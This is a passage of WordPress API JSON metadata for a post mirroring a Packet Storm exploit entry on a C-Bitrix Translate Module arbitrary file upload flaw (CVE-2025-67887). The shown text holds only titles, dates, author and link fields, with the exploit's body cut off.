module&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 C\u2011Bitrix 25.100.500 Translate Module Arbitrary File Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212952&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-67887&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n...","og_url":"https:\/\/zero.redgem.net\/?p=31875","og_site_name":"zero redgem","article_published_time":"2025-12-18T10:44:54+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"20 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=31875#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=31875"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 C\u2011Bitrix 25.100.500 Translate Module Arbitrary File Upload_PACKETSTORM:212952","datePublished":"2025-12-18T10:44:54+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=31875"},"wordCount":3940,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=31875#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=31875","url":"https:\/\/zero.redgem.net\/?p=31875","name":"\ud83d\udcc4 C\u2011Bitrix 25.100.500 Translate Module Arbitrary File Upload_PACKETSTORM:212952 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-18T10:44:54+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=31875#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=31875"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=31875#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 C\u2011Bitrix 25.100.500 Translate Module Arbitrary File Upload_PACKETSTORM:212952"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31875","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=31875"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31875\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=31875"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=31875"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=31875"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}